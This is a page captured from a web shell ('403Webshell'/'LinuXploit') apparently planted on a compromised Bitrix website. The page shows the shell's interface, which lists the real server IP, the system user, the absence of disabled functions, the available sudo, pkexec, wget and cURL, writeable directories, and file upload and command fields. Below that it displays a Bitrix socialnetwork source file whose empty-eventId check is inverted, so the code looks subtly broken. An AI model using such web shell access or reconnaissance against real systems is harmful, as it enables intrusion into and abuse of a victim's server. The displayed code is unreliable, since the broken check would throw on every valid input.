403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/lib/logview.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage socialnetwork
 * @copyright 2001-2012 Bitrix
 */
namespace Bitrix\Socialnetwork;

use Bitrix\Main;
use Bitrix\Main\Entity;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\NotImplementedException;

Loc::loadMessages(__FILE__);

/**
 * Class LogViewTable
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_LogView_Query query()
 * @method static EO_LogView_Result getByPrimary($primary, array $parameters = [])
 * @method static EO_LogView_Result getById($id)
 * @method static EO_LogView_Result getList(array $parameters = [])
 * @method static EO_LogView_Entity getEntity()
 * @method static \Bitrix\Socialnetwork\EO_LogView createObject($setDefaultValues = true)
 * @method static \Bitrix\Socialnetwork\EO_LogView_Collection createCollection()
 * @method static \Bitrix\Socialnetwork\EO_LogView wakeUpObject($row)
 * @method static \Bitrix\Socialnetwork\EO_LogView_Collection wakeUpCollection($rows)
 */
class LogViewTable extends Entity\DataManager
{
	public static function getTableName()
	{
		return 'b_sonet_log_view';
	}

	public static function getMap()
	{
		return [
			'USER_ID' => [
				'data_type' => 'integer',
				'primary' => true,
			],
			'EVENT_ID' => [
				'data_type' => 'string',
				'primary' => true,
			],
			'TYPE' => [
				'data_type' => 'boolean',
				'values' => [ 'N', 'Y' ],
			],
		];
	}

	public static function getDefaultValue($eventId, $full = false)
	{
		$result = 'Y';

		$eventId = trim($eventId);
		if($eventId !== '')
		{
			throw new Main\SystemException('Empty eventId.');
		}
		if (!$full)
		{
			$eventId = \CSocNetLogTools::findFullSetByEventID($eventId);
		}

		$res = self::getList([
			'order' => [],
			'filter' => [
				'=USER_ID' => 0,
				'=EVENT_ID' => \Bitrix\Main\Application::getConnection()->getSqlHelper()->forSql($eventId),
			],
			'select' => [ 'TYPE' ],
		]);

		if ($row = $res->fetch())
		{
			$result = $row['TYPE'];
		}

		return $result;
	}

	public static function set($userId, $eventId, $type): void
	{
		$userId = (int)$userId;
		$type = ($type === 'Y' ? 'Y' : 'N');
		$eventId = trim($eventId);
		if ($eventId === '')
		{
			throw new Main\SystemException('Empty eventId.');
		}
		$eventId = \CSocNetLogTools::findFullSetByEventID($eventId);

		$connection = \Bitrix\Main\Application::getConnection();
		$helper = $connection->getSqlHelper();

		foreach ($eventId as $val)
		{
			$insertFields = [
				'USER_ID' => $userId,
				'TYPE' => $type,
				'EVENT_ID' => $helper->forSql($val),
			];

			$updateFields = [
				'TYPE' => $type,
			];

			$merge = $helper->prepareMerge(
				static::getTableName(),
				[ 'USER_ID', 'EVENT_ID' ],
				$insertFields,
				$updateFields
			);

			if ($merge[0] !== '')
			{
				$connection->query($merge[0]);
			}
		}
	}

	public static function checkExpertModeAuto($userId, $tasksNum, $pageSize): bool
	{
		$result = false;

		$userId = (int)$userId;
		$tasksNum = (int)$tasksNum;
		$pageSize = (int)$pageSize;

		if (
			$userId <= 0
			|| $pageSize <= 0
		)
		{
			return false;
		}

		if (
			$tasksNum >= 5
			&& ($tasksNum / $pageSize) >= 0.25
		)
		{
			$isAlreadyChecked = \CUserOptions::getOption('socialnetwork', '~log_expertmode_checked', 'N', $userId);
			if ($isAlreadyChecked !== 'Y')
			{
				self::set($userId, 'tasks', 'N');
				\CUserOptions::setOption('socialnetwork', '~log_expertmode_checked', 'Y', false, $userId);
				$result = true;
			}
		}

		return $result;
	}

	public static function add(array $data)
	{
		throw new NotImplementedException('Use set() method of the class.');
	}

	public static function update($primary, array $data)
	{
		throw new NotImplementedException('Use set() method of the class.');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit